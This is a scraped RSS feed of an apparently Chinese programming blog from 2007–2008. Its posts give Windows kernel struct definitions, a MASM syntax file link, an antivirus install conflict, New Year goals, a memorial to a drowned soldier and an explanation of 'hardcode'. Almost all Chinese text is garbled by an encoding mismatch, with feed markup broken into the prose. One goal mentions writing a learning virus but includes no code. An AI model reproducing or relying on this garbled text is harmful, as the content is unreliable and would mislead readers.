ULONG銆銆銆銆 Reserved3錛涖銆銆銆銆銆銆銆
ULONG銆銆銆銆 MmSystemCachePage錛涖銆銆銆 //緋葷粺緙撳瓨欏墊暟錛?br>ULONG銆銆銆銆 PagedPoolPage錛涖銆銆銆銆銆 //鍒嗛〉姹犻〉鏁幫紱
ULONG銆銆銆銆 SystemDriverPage錛涖銆銆銆 //鍙垎欏甸┍鍔ㄩ〉鏁幫紱
ULONG銆銆銆銆 FastReadNoWait錛涖銆銆銆銆銆 //寮傛蹇熻鏁扮洰錛?br>ULONG銆銆銆銆 FastReadWait錛涖銆銆銆銆銆 //鍚屾蹇熻鏁扮洰錛?br>ULONG銆銆銆銆 FastReadResourceMiss錛涖銆 //蹇熻璧勬簮鍐茬獊鏁幫紱
ULONG銆銆銆銆 FastReadNotPossible錛涖銆銆銆//蹇熻澶辮觸鏁幫紱
ULONG銆銆銆銆 FastMdlReadNoWait錛涖銆銆銆 //寮傛MDL蹇熻鏁扮洰錛?br>ULONG銆銆銆銆 FastMdlReadWait錛涖銆銆銆銆銆//鍚屾MDL蹇熻鏁扮洰錛?br>ULONG銆銆銆銆 FastMdlReadResourceMiss錛涖銆//MDL璇昏祫婧愬啿紿佹暟錛?br>ULONG銆銆銆銆 FastMdlReadNotPossible錛涖銆 //MDL璇誨け璐ユ暟錛?br>ULONG銆銆銆銆 MapDataNoWait錛涖銆銆銆銆銆 //寮傛鏄犲皠鏁版嵁嬈℃暟錛?br>ULONG銆銆銆銆 MapDataWait錛涖銆銆銆銆銆銆銆//鍚屾鏄犲皠鏁版嵁嬈℃暟錛?br>ULONG銆銆銆銆 MapDataNoWaitMiss錛涖銆銆銆 //寮傛鏄犲皠鏁版嵁鍐茬獊嬈℃暟錛?br>ULONG銆銆銆銆 MapDataWaitMiss錛涖銆銆銆銆銆//鍚屾鏄犲皠鏁版嵁鍐茬獊嬈℃暟錛?br>ULONG銆銆銆銆 PinMappedDataCount錛涖銆銆銆 //鐗靛埗鏄犲皠鏁版嵁鏁扮洰錛?br>ULONG銆銆銆銆 PinReadNoWait錛涖銆銆銆銆銆 //鐗靛埗寮傛璇繪暟鐩紱
ULONG銆銆銆銆 PinReadWait錛涖銆銆銆銆銆銆銆//鐗靛埗鍚屾璇繪暟鐩紱
ULONG銆銆銆銆 PinReadNoWaitMiss錛涖銆銆銆 //鐗靛埗寮傛璇誨啿紿佹暟鐩紱
ULONG銆銆銆銆 PinReadWaitMiss錛涖銆銆銆銆銆//鐗靛埗鍚屾璇誨啿紿佹暟鐩紱
ULONG銆銆銆銆 CopyReadNoWait錛涖銆銆銆銆銆 //寮傛鎷瘋礉璇繪鏁幫紱
ULONG銆銆銆銆 CopyReadWait錛涖銆銆銆銆銆 //鍚屾鎷瘋礉璇繪鏁幫紱
ULONG銆銆銆銆 CopyReadNoWaitMiss錛涖銆銆銆 //寮傛鎷瘋礉璇繪晠闅滄鏁幫紱
ULONG銆銆銆銆 CopyReadWaitMiss錛涖銆銆銆 //鍚屾鎷瘋礉璇繪晠闅滄鏁幫紱
ULONG銆銆銆銆 MdlReadNoWait錛涖銆銆銆銆銆 //寮傛MDL璇繪鏁幫紱
ULONG銆銆銆銆 MdlReadWait錛涖銆銆銆銆銆銆銆//鍚屾MDL璇繪鏁幫紱
ULONG銆銆銆銆 MdlReadNoWaitMiss錛涖銆銆銆 //寮傛MDL璇繪晠闅滄鏁幫紱
ULONG銆銆銆銆 MdlReadWaitMiss錛涖銆銆銆銆銆//鍚屾MDL璇繪晠闅滄鏁幫紱
ULONG銆銆銆銆 ReadAheadIos錛涖銆銆銆銆銆 //鍚戝墠璇繪搷浣滄暟鐩紱
ULONG銆銆銆銆 LazyWriteIos錛涖銆銆銆銆銆 //LAZY鍐欐搷浣滄暟鐩紱
ULONG銆銆銆銆 LazyWritePages錛涖銆銆銆銆銆 //LAZY鍐欓〉鏂囦歡鏁扮洰錛?br>ULONG銆銆銆銆 DataFlushes錛涖銆銆銆銆銆銆銆//緙撳瓨鍒鋒柊嬈℃暟錛?br>ULONG銆銆銆銆 DataPages錛涖銆銆銆銆銆銆銆 //緙撳瓨鍒鋒柊欏墊暟錛?br>ULONG銆銆銆銆 ContextSwitches錛涖銆銆銆銆銆//鐜鍒囨崲鏁扮洰錛?br>ULONG銆銆銆銆 FirstLevelTbFills錛涖銆銆銆 //絎竴灞傜紦鍐插尯濉厖嬈℃暟錛?br>ULONG銆銆銆銆 SecondLevelTbFills錛涖銆銆銆 //絎簩灞傜紦鍐插尯濉厖嬈℃暟錛?br>ULONG銆銆銆銆 SystemCall錛涖銆銆銆銆銆銆銆 //緋葷粺璋冪敤嬈℃暟錛?br>}SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION錛?br>
鐜板湪鐪嬪埌鐨勬槸緇撴瀯SYSTEM_PROCESSOR_TIMES鎻愪緵鐨勭郴緇熷鐞嗗櫒鐨勪嬌鐢ㄦ儏鍐碉紝鍖呮嫭鍚勭鎯呭喌涓嬬殑浣跨敤鏃墮棿鍙婁腑鏂暟鐩細

typedef struct __SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime錛涖銆銆銆銆銆 //絀洪棽鏃墮棿錛?br>LARGE_INTEGER KernelTime錛涖銆銆銆銆銆 //鍐呮牳妯″紡鏃墮棿錛?br>LARGE_INTEGER UserTime錛涖銆銆銆銆銆 //鐢ㄦ埛妯″紡鏃墮棿錛?br>LARGE_INTEGER DpcTime錛涖銆銆銆銆銆銆銆//寤惰繜榪囩▼璋冪敤鏃墮棿錛?br>LARGE_INTEGER InterruptTime錛涖銆銆銆 //涓柇鏃墮棿錛?br>ULONG銆銆銆銆 InterruptCount錛涖銆銆銆 //涓柇嬈℃暟錛?br>}SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES錛?br>
欏墊枃浠剁殑浣跨敤鎯呭喌錛孲YSTEM_PAGEFILE_INFORMATION鎻愪緵浜嗘墍闇鐨勭浉鍏充俊鎭細

typedef struct _SYSTEM_PAGEFILE_INFORMATION
{
ULONG NetxEntryOffset錛涖銆銆銆銆銆銆銆//涓嬩竴涓粨鏋勭殑鍋忕Щ閲忥紱
ULONG CurrentSize錛涖銆銆銆銆銆銆銆銆銆//褰撳墠欏墊枃浠跺ぇ灝忥紱
ULONG TotalUsed錛涖銆銆銆銆銆銆銆銆銆 //褰撳墠浣跨敤鐨勯〉鏂囦歡鏁幫紱
ULONG PeakUsed錛涖銆銆銆銆銆銆銆銆銆 //褰撳墠浣跨敤鐨勯〉鏂囦歡宄板兼暟錛?br>UNICODE_STRING FileName錛涖銆銆銆銆銆 //欏墊枃浠剁殑鏂囦歡鍚嶇О錛?br>}SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION錛?br>
緋葷粺楂橀熺紦瀛樼殑浣跨敤鎯呭喌鍙傝緇撴瀯SYSTEM_CACHE_INFORMATION鎻愪緵鐨勪俊鎭細

typedef struct _SYSTEM_CACHE_INFORMATION
{
ULONG SystemCacheWsSize錛涖銆銆銆銆銆 //楂橀熺紦瀛樺ぇ灝忥紱
ULONG SystemCacheWsPeakSize錛涖銆銆銆 //楂橀熺紦瀛樺嘲鍊煎ぇ灝忥紱
ULONG SystemCacheWsFaults錛涖銆銆銆銆銆//楂橀熺紦瀛橀〉鏁呴殰鏁扮洰錛?br>ULONG SystemCacheWsMinimum錛涖銆銆銆 //楂橀熺紦瀛樻渶灝忛〉澶у皬錛?br>ULONG SystemCacheWsMaximum錛涖銆銆銆 //楂橀熺紦瀛樻渶澶ч〉澶у皬錛?br>ULONG TransitionSharedPages錛涖銆銆銆 //鍏變韓欏墊暟鐩紱
ULONG TransitionSharedPagesPeak錛涖銆 //鍏變韓欏靛嘲鍊兼暟鐩紱
ULONG Reserved[2]錛?br>}SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION錛?

]]>[涓嬭澆]UltraEdit鐨凪ASM璇硶鐫鑹叉枃浠?/title><link>http://www.shnenglu.com/saga/archive/2008/01/12/41044.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sat, 12 Jan 2008 12:25:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2008/01/12/41044.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/41044.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2008/01/12/41044.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/41044.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/41044.html</trackback:ping><description><![CDATA[      緗戜笂鎵劇殑UE鐨凪ASM璇硶鐫鑹叉枃浠訛紝閾炬帴涓嶅錛屾墍浠ヤ笂浼犳彁渚涗竴涓笅杞姐?br>      涓嬭澆鍦板潃:<a href="http://www.shnenglu.com/Files/saga/MASM.rar">http://www.shnenglu.com/Files/saga/MASM.rar</a><br>                                                            ---------------saga.constantine <img src ="http://www.shnenglu.com/saga/aggbug/41044.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2008-01-12 20:25 <a href="http://www.shnenglu.com/saga/archive/2008/01/12/41044.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[鏃犲]MASM32鍜宬aspersky灝辨槸涓嶅吋瀹癸紒璋佺煡閬撹В鍐沖姙娉曪紒http://www.shnenglu.com/saga/archive/2008/01/12/41017.htmlsaga.constantinesaga.constantineSat, 12 Jan 2008 03:52:00 GMThttp://www.shnenglu.com/saga/archive/2008/01/12/41017.htmlhttp://www.shnenglu.com/saga/comments/41017.htmlhttp://www.shnenglu.com/saga/archive/2008/01/12/41017.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/41017.htmlhttp://www.shnenglu.com/saga/services/trackbacks/41017.html
      MASM32鏃犳硶瀹夎錛屼笂浜哅ASM32鐨勫畼鏂硅鍧涚湅浜嗭紝璇存槸DEP錛堟暟鎹墽琛屼繚鎶わ級鐨勫師鍥狅紝灝嗗湪涓嬩釜鐗堟湰涓В鍐熾?br>      
      璁劇疆鎺掗櫎錛屽叧闂崱宸達紝鎴栬呮槸鍏抽棴DEP錛岄兘鏄病鏈変綔鐢ㄧ殑銆?img height=20 src="http://www.shnenglu.com/Emoticons/QQ/icon18.gif" width=25 border=0>
      鍗歌澆鍗″反錛屼箣鍚庡氨鍙互瀹夎浜嗐?br>
      姣旇緝閮侀椃錛宬av7.0鏈潵鏄緢涓嶉敊鐨凙V杞歡銆傜敤榪囧緢澶氭潃杞俷od32錛宯orton錛宎vast錛宮acfee銆傞櫎浜唌acfee鐨勬孩鍑轟繚鎶ゆ劅瑙夊緢涓嶉敊浠ヤ負銆傝繕鏄寰梜av鏄渶濂戒嬌鐢ㄧ殑銆傜湡鐨勪笉鎯沖嵏杞姐?br>      璋佽鏄煡閬撹В鍐蟲柟娉曘傞夯鐑﹀叡浜竴涓嬶紝璋€?img height=20 src="http://www.shnenglu.com/Emoticons/QQ/smile.gif" width=20 border=0>
                                             ------------saga.constantine

]]>
[璁″垝]瀛︿範涓?008緇欒嚜宸卞畾涓や釜鐩爣http://www.shnenglu.com/saga/archive/2008/01/10/40916.htmlsaga.constantinesaga.constantineThu, 10 Jan 2008 10:50:00 GMThttp://www.shnenglu.com/saga/archive/2008/01/10/40916.htmlhttp://www.shnenglu.com/saga/comments/40916.htmlhttp://www.shnenglu.com/saga/archive/2008/01/10/40916.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/40916.htmlhttp://www.shnenglu.com/saga/services/trackbacks/40916.html      鐩爣涓錛氱紪鍐欎竴涓畝鍗曠殑WIN32鐥呮瘨紼嬪簭銆傦紙鍏蜂綋鎬庝箞鏍風殑浠ュ悗琛ュ厖淇敼錛岃鏄庝竴涓嬪啓榪欑粷闈炴伓鎰忥紝鍙負瀛︿範錛?br>      鐩爣浜岋細緙栧啓涓涓畝鍗曠殑鍔犲3杞歡銆傦紙鍏蜂綋榪愮敤浠涔堟妧鏈紝鍋氬嚭浠涔堟牱榪樻槸浠ュ悗琛ュ厖銆傚洜涓烘垜涔熶笉鐭ラ亾錛?br>      
      鎴戠煡閬撹繖鏍風殑鐩爣鐜板疄涓嶇幇瀹烇紝鎴戝彧鐭ラ亾鐜板疄鐨勬垜緙轟箯鐩爣銆?br>      2008騫村熬鍐嶆潵鐪嬬湅浠婂ぉ鍒板簳鏄笉鏄啿鍔ㄣ?br>      濡傛灉娌℃湁瀹炵幇榪欎袱涓洰鏍囥傛垜浼氬緢澶辨湜銆?br>      濡傛灉瀹炵幇浜嗕袱涓紝鎴戜細緇х畫榪芥眰鐞嗘兂銆?br>      濡傛灉鍙疄鐜頒竴涓紝鎴戜細鍦?009騫村疄鐜板彟涓涓傝皝鍙垜絎ㄥ憿錛?br>
                                                             ---------saga.constantine

]]>
[綰康]鑻遍泟---瀛熺ゥ鏂岋紒http://www.shnenglu.com/saga/archive/2008/01/09/40774.htmlsaga.constantinesaga.constantineWed, 09 Jan 2008 02:14:00 GMThttp://www.shnenglu.com/saga/archive/2008/01/09/40774.htmlhttp://www.shnenglu.com/saga/comments/40774.htmlhttp://www.shnenglu.com/saga/archive/2008/01/09/40774.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/40774.htmlhttp://www.shnenglu.com/saga/services/trackbacks/40774.html
                                                         鐪熸鐨勮嫳闆?-----瀛熺ゥ鏂岋紒
      鎴戜滑浼氳浣忎綘銆備綘姘歌繙媧誨湪鎴戜滑蹇冧腑銆傚瓱紲ユ枌澶у摜浣犱竴璺蛋濂姐?br>
      鏁ぜ錛?br>      
      浜嬭抗---11鏈?0鏃ワ紝椹繪禉姹熼噾鍗庢煇閮ㄥ徃浠ら儴鍙傝皨銆佷腑灝夊瓱紲ユ枌涓烘晳涓鍚嶈煩姹熻嚜鏉鐨勫勾杞誨コ瀛愯穬鍏ュ啺鍐鋒睙姘翠腑銆傝交鐢熷コ鏁戜簡涓婃潵錛屼粬鍗存病鏈変笂鏉ャ傛睙杈癸紝鏉ユ帰浜茬殑濡誨瓙鍜屽コ鍎垮湪鑻﹁嫤鏈熺浖濂囪抗鍙戠敓銆?br>
銆銆30鏃ヤ腑鍗?1鏃?5鍒嗗乏鍙籌紝閲戝崕甯傛皯鐔婂コ澹濂藉湪姹熻竟媧楄。鏈嶏紝鏃犳剰闂寸湅鍒版湁涓コ瀛愬湪宀歌竟鎵撶數璇濓紝娌¤鍑犲彞灝辨妸鐢佃瘽鎽斿湪鍦頒笂錛岃劚鎺夐瀷瀛愯煩涓嬫睙鍘匯傛ˉ闈笂涓涓敺闈掑勾鐪嬪埌榪欎竴騫曞悗錛岄┈涓婅劚鎺夎。鏈嶈煩姹熸晳浜恒?br>
銆銆榪欎釜騫磋交浜烘鏄瓱紲ユ枌錛屼粖騫?8宀侊紝椹繪禉姹熼噾鍗庢煇閮ㄥ徃浠ら儴鍙傝皨銆佷腑灝夈?br>
銆銆娌¤繃澶氫箙錛屽瓱紲ユ枌灝卞皢濂沖瓙鎵樺嚭浜嗘按闈紝榪滃涓鑹樻懇鎵樿墖鍙戠幇鎯呭喌鍚庝篃璧舵潵鏁戜漢銆傚氨鍦ㄦ懇鎵樿墖蹇璧跺埌鐨勬椂鍊欙紝瀛熺ゥ鏂屽紑濮嬩笅娌夈傛懇鎵樿墖涓婄殑浜哄皢濂沖瓙鎷変笂鏉ュ悗錛屽啀鎵懼瓱紲ユ枌錛屽凡緇忔壘涓嶅埌浜嗐?br>
銆銆鏁戞彺鐨勫皬鑸逛笉鍋滃湴鍦ㄦ睙閲屾悳瀵伙紝瀛熺ゥ鏂屾墍鍦ㄩ儴闃熺殑瀹樺叺涔熻刀鏉ユ晳鎻達紝鍗村緇堟病鏈夊彂鐜板瓱紲ユ枌銆傜洿鍒頒笅鍗?鏃跺崐宸﹀彸錛屾晳鎻撮槦緇堜簬鍙戠幇浜嗗瓱紲ユ枌錛岃刀绱ч佸線鍖婚櫌鎬ユ晳銆?br>
銆銆鐩澒鍜岄椈璁刀鏉ョ殑涓浜涢噾鍗庡競姘戜互鍙婂瓱紲ユ枌鐨勬垬鍙嬮兘鍦ㄦ姠鏁戝闂ㄥ彛紲堢シ錛屼絾鍖婚櫌鏈鍚庡憡鐭ワ紝瀛熺ゥ鏂屽凡緇忕壓鐗層?br>
銆銆瀛熺ゥ鏂岀殑濡誨瓙鍜?宀佺殑濂沖効鐩澒浜嗘暣涓粡榪囷紝濂逛滑鐪肩潄鐫佺湅鐫瀛熺ゥ鏂屾矇鍏ユ按搴曪紝鑷繁鍗翠笣姣病鏈夊姙娉曘?br>
銆銆瀛熺ゥ鏂岀殑濡誨瓙璇達紝榪欏嚑澶╋紝濂瑰拰濂沖効鍒氫粠姹熻タ鑰佸璧舵潵錛岀湅鏈涘瓱紲ユ枌錛屽綋澶╂槸鍑烘潵鏁f鐨勶紝鍙病鎯沖埌鍗村彂鐢熶簡榪欐牱鐨勪簨鎯呫?br>
      瀛熺ゥ鏂屾晳浜虹壓鐗茬殑浜嬭抗榪呴熶紶閬嶄簡閲戝崕錛岃嚜30鏃ヤ笅鍗堝紑濮嬶紝灝辨湁璁稿閲戝崕甯傛皯娑屽線鑻遍泟閬囬毦鐨勫┖姹熷煄鍗楁ˉ錛岀悍綰烽佷笂鑺卞湀鍜岄矞鑺便傚湪鍩庡崡妗ヤ笂瀛熺ゥ鏂岃煩姹熸晳浜虹殑鏍忔潌杈癸紝鏃╁凡鏈変漢鎷夎搗浜?娌夌棝鎮煎康鑻遍泟瀛熺ゥ鏂屽悓蹇?鐨勬í騫咃紝鍦ㄦ椹葷暀鎮煎康鐨勫競姘戠粶緇庝笉緇濓紝寰堝揩灝卞紩璧蜂簡浜ら氬牭濉炪?br>
銆銆1鏃ヤ腑鍗堬紝鏁扮櫨鍚嶅瓱紲ユ枌鎵鍦ㄩ儴闃熺殑瀹樺叺鏉ュ埌鐜板満錛屾暚鐚簡榛勮強鑺憋紝榻愬0楂樺枈錛?瀛熺ゥ鏂岋紝鎴戜滑鏉ョ湅浣犱簡錛?鎺ョ潃錛屽悜鐫妯箙涓夐灎韜?br>
銆銆鑰?鏃ユ櫄鐢遍噾鍗庢柊闂葷綉"鏂伴噾鍗庤鍧?鍙戣搗鐨勭儧鍏夊畧鐏墊椿鍔ㄥ緱鍒頒簡鏁板崈甯傛皯鐨勫搷搴斻傚叆澶滐紝鍩庡崡妗ヨ竟鐨勬睙鍫や笂鍐嶆鎺璧瘋拷鎮肩殑鐑疆銆傛櫄涓?鏃朵笉鍒幫紝鎽嗗湪妗ユ爮鍜屾睙鍫よ竟鐨勮姳鍦堝凡緇忚繛緇墊暟鐧劇背銆傛暟鍗冨競姘戣嚜鍙戠偣璧蜂簡"椋庝腑涔嬬儧"錛岄粯榛樺湴涓鴻嫳欖傜紲鳳紝璁稿浜洪殢鐫鐑涘厜闈欓潤鍦版祦鐫鐪兼唱銆?br>
銆銆鍓嶅線紲鐨勯噾鍗庡競姘戦儜浼熸枃嫻佺潃鐪兼唱璇達細"瀛熺ゥ鏂屾晳浜虹殑澹婦浠や漢鎰熷姩錛屾垜鏃犳硶閬忔鎮茬棝錛屼負鑻遍泟鐨勮嫳騫存棭閫濇劅鍒版儖鎯溿?

銆銆鏈夌綉鍙嬭錛?鑻遍泟宸查濓紝綺劇闀垮瓨銆備粬鐨勮涓猴紝緇欑ぞ浼氬甫鏉ヤ簡涓鑲℃竻椋庯細璺鍗遍毦錛屼笉璁插緱澶憋紝姣棤鐣忔儳錛屾尯韜屽嚭錛屼粬鐢ㄥ譏瓚崇弽璐電殑鍕囨皵錛岀敤鑷繁瀹濊吹鐨勭敓鍛借癄閲婁簡褰撲唬鍐涗漢鎶ユ晥紺句細錛屾姤鏁堜漢姘戠殑宕囬珮鐞嗘兂銆傚湪浠婂ぉ鏋勫緩紺句細涓諱箟鍜岃皭紺句細鐨勮繃紼嬩腑錛屾椂浠e懠鍞よ繖縐嶈涓猴紝紺句細闇瑕佽繖縐嶈涓猴紝鏇村簲璇ヤ紶鎵胯繖縐嶇簿紲烇紝瀛熺ゥ鏂屽悓蹇楁槸鎴戜滑鐨勫厜鑽e拰楠勫偛銆?
      鎶ラ亾鍙栬嚜浜烘皯緗戙?br>                                                                       --------------saga.constantine


]]>
[鎬葷粨]2007鐨勬渶鍚庝竴澶╋紝騫寸粓鏈夋劅銆?/title><link>http://www.shnenglu.com/saga/archive/2007/12/31/40063.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Mon, 31 Dec 2007 13:47:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/12/31/40063.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/40063.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/12/31/40063.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/40063.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/40063.html</trackback:ping><description><![CDATA[[鎬葷粨]2007鐨勬渶鍚庝竴澶╋紝鍥為【涓騫淬?br>       2007騫村彲浠ヨ鏄垜姝e紡宸ヤ綔鐨勭涓騫淬傚湪紱繪牎鍚庣殑涓騫村崐鐨勬椂闂撮噷紜疄鏄鍒頒簡涓浜涗笢瑗匡紝浣嗘槸璇村埌鑷繁鐨勮拷姹傛柟闈⑩斺旂紪紼嬨傚湪榪欐柟闈㈢殑榪涘睍瀹炲湪鏄笉鑳借鑷繁婊℃剰銆?br>       鏈懡騫村嵆灝嗚繃鍘匯備漢灝卞揩25浜嗐傚彲鏄兂鎯寵嚜宸辮繕鏄病鏈夊彇寰楁垚緇┿傜湡鏄鑷繁寰堜笉鐖姐傚鉤鏃惰嚜宸卞父甯稿湪涓浜涘潧瀛愰噷娉°傚彲浠ュ彂鐜頒竴浜涚墰浜猴紝鍍忕櫧榪滄柟錛屽紶緲鹼紙xyzreg錛夛紝gyzy錛屼簬娓婏紝鑰佺綏絳夎繖鏍風殑騫磋交浜洪兘鏄湁涓洪潚騫淬傝嚜宸變笌浠栦滑鐨勫樊璺濆疄鍦ㄦ槸澶ぇ銆傝繖鏄鎴戞渶鐥涜嫤鐨勪竴浠朵簨涔嬩竴銆?br>       瀹㈣涓婅嚜宸辮搗姝ユ瘮杈冩櫄錛岄珮涓椂閮戒笉鐭ラ亾鑷繁浠ュ悗灝嗚闈犱粈涔堝悆楗備笂澶у鐨勬椂鍊欏張鐢變簬浣撳埗闂錛屾販娣峰害鏃ワ紝娌¤兘璧鋒銆傚伐浣滀簡鎵嶅彂鐜拌嚜宸卞叾瀹炴槸鍠滄緙栫▼鐨勩傚鎿嶄綔緋葷粺錛屽姹囩紪錛屽windows鏄湁鍏磋叮鐨勩傚笇鏈涜嚜宸辮兘蹇偣璧朵笂錛岄渶瑕佸鐨勪笢瑗垮疄鍦ㄦ槸寰堝銆傝屼笖榪樹笉鑳藉洬鍥靛悶鏋c傛垜鏄嚜宸卞鐨勶紝娌℃湁瀵煎笀錛屾病鏈夐」鐩傛垜鍙兘鑷繁涓姝ヤ竴姝ヨ嚜宸辨懜绱€傝蛋鍒漢璧拌繃鐨勮礬銆傞兘娌℃湁浜烘寚寮曘?br>       鎴戠浉淇★紝鍙鍧氭寔涓嶆噲鐨勫悜鍓嶈繘銆傛繪湁涓澶╄嚜宸變細鎴愪負鑷繁鎯蟲垚涓虹殑浜虹殑銆傚氨綆椾竴鐩村緢騫沖嚒錛屾槸涓皬灝忕殑緙栫▼鐖卞ソ鑰呫傛垜涔熶笉浼氬悗鎮斻傚洜涓烘垜榪芥眰榪囥傜埍榪囥?br>       鍦?007騫寸殑鏈鍚庝竴澶╋紝鍚?007鍛婂埆銆傝繋鏉?008錛屽笇鏈涗竴騫村悗鑷繁鍦ㄥ啓騫寸粓鎰熸兂鐨勬椂鍊欙紝涓嶈鍍忎粖澶╄繖鏍風殑蹇冩儏銆傛垜瑕佺粰鑷繁榧撳姴銆傛椂闂翠笉絳変漢銆傝繃鍘葷殑宸茬粡榪囧幓銆備粠2008騫村紑濮嬶紝涓姝ヤ竴涓剼鍗扮殑璧頒笅鍘匯傛垜浼氬憡璇夎嚜宸變笉鑳芥ワ紝涓囦笀楂樻ゼ騫沖湴璧楓傚熀紜瀵圭紪紼嬫潵璇村緢閲嶈銆傛垜涔熸兂鐢ㄥ彟澶栦竴鍙ヨ嚜宸卞枩嬈㈢殑鍙拌瘝鏉ヤ綔緇撱備笉鐤瓟錛屼笉鎴愭椿鈥斺斿彧鏈夎揪鍒扮棿榪風殑澧冪晫 鎵嶈兘灝嗘煇浜嬪仛鍒版瀬鑷淬備換浣曚簨涓氱殑鎴愬姛錛岄兘闇瑕佸叏鎯呯殑鎶曞叆銆?br>       saga go ahead!<br>      鏈鍚庯紝榪樻兂鎰熻阿涓涓嬫墍鏈夋垜鐨勬湅鍙嬶紝浣犱滑緇欎簡鎴戝揩涔愩?br>       鎰熻阿濡堝錛岀埜鐖革紝鍙婂浜轟滑錛屾槸浣犱滑鎶氬吇鎴戞垚闀褲傛劅璋㈠コ鍙嬫収鎱ч櫔鍦ㄦ垜鐨勮韓鏃併傝櫧鐒舵垜鏈夋椂浼氬繊涓嶄綇瀵逛綘鍙戣劸姘斻備綘榪樻槸涓嶇涓嶅純銆?br>       甯屾湜浣犱滑鎵鏈夋垜鎵鐖辯殑浜猴紝鍦?008騫撮噷閮芥槸鍋ュ悍蹇箰鐨勶紝閭e皢鏄垜鏈澶х殑騫哥錛?br><br>                                                                 ---------------------saga.constantine<br> <br> <img src ="http://www.shnenglu.com/saga/aggbug/40063.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-12-31 21:47 <a href="http://www.shnenglu.com/saga/archive/2007/12/31/40063.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[瑙i噴]鈥渉ardcode鈥濇槸浠涔堟剰鎬濓紵http://www.shnenglu.com/saga/archive/2007/12/22/39281.htmlsaga.constantinesaga.constantineSat, 22 Dec 2007 07:47:00 GMThttp://www.shnenglu.com/saga/archive/2007/12/22/39281.htmlhttp://www.shnenglu.com/saga/comments/39281.htmlhttp://www.shnenglu.com/saga/archive/2007/12/22/39281.html#Feedback2http://www.shnenglu.com/saga/comments/commentRss/39281.htmlhttp://www.shnenglu.com/saga/services/trackbacks/39281.html
hardcode----紜紪鐮併?br>鎵璋撶‖緙栫爜錛宧ardcode錛屽氨鏄妸涓涓湰鏉ュ簲璇ワ紙鍙互錛夊啓鍒伴厤緗俊鎭腑鐨勪俊鎭洿鎺ュ湪紼嬪簭浠g爜涓啓姝諱簡銆? 
   
  渚嬪錛屽啓浜嗕竴涓敹鍙戦偖浠剁殑紼嬪簭錛岀敤鎴峰悕錛屽瘑鐮侊紝鏈嶅姟鍣ㄥ湴鍧絳夋渶濂藉仛鎴愬閮ㄩ厤緗紝  
  浣嗘槸濡傛灉鐩存帴鍐欐鍦ㄧ▼搴忎唬鐮佷腑錛屾瘡嬈℃敼淇℃伅鏃墮渶瑕侀噸鏂扮紪璇戜簡……  
   
  榪欑紼嬪簭涓嶅ソ緇存姢銆?nbsp;  
  涓鑸噿鐨勭▼搴忓憳鎴栬呭垵瀛﹁呰繖縐嶇▼搴忎駭閲忚緝澶с?br>
      

鍦ㄨ綆楁満紼嬪簭鎴栨枃鏈紪杈戜腑錛宧ardcode(榪欎釜璇嶆瘮hard code鐢ㄨ搗鏉ヨ棰戠箒涓浜?鏄寚灝嗗彲鍙樺彉閲忕敤涓涓浐瀹氬兼潵浠f浛鐨勬柟娉曘傜敤榪欑鏂規硶緙栬瘧鍚庯紝濡傛灉浠ュ悗闇瑕佹洿鏀規鍙橀噺灝遍潪甯稿洶闅句簡銆傚ぇ閮ㄥ垎紼嬪簭璇█閲岋紝鍙互灝嗕竴涓浐瀹氭暟鍊煎畾涔変負涓涓爣璁幫紝鐒跺悗鐢ㄨ繖涓壒孌婃爣璁版潵鍙栦唬鍙橀噺鍚嶇О銆傚綋鏍囪鍚嶇О鏀瑰彉鏃訛紝鍙橀噺鍚嶄笉鍙橈紝榪欐牱錛屽綋閲嶆柊緙栬瘧鏁翠釜紼嬪簭鏃訛紝鎵鏈夊彉閲忛兘涓嶅啀鏄浐瀹氬鹼紝榪欐牱灝辨洿瀹規槗鐨勫疄鐜頒簡鏀瑰彉鍙橀噺鐨勭洰鐨勩傚敖綆¢氳繃緙栬緫鍣ㄧ殑鏌ユ壘鏇挎崲鍔熻兘涔熻兘瀹炵幇鏁翠釜鍙橀噺鍚嶇О鐨勬浛鎹紝浣嗕篃寰堟湁鍙兘鍑虹幇澶氭崲鎴栬呭皯鎹㈢殑鎯呭喌錛岃屽湪璁$畻鏈虹▼搴忎腑錛屼換浣曞皬閿欒鐨勫嚭鐜伴兘鏄笉鍙ザ鎭曠殑銆傛渶濂界殑鏂規硶鏄崟鐙負鍙橀噺鍚嶅垝鍒嗙┖闂達紝鏉ュ疄鐜拌繖縐嶅彉鍖栵紝灝卞鍚屽墠闈㈣鐨勯偅鏍鳳紝灝嗛渶瑕佹敼鍙樼殑鍙橀噺鍚嶆殏鏃剁敤涓涓畾涔夊ソ鐨勬爣璁板悕縐版潵浠f浛灝辨槸涓縐嶅緢濂界殑鏂規硶銆傞氬父鎯呭喌涓嬶紝閮藉簲璇ラ伩鍏嶄嬌鐢╤ardcode鏂規硶銆傘銆

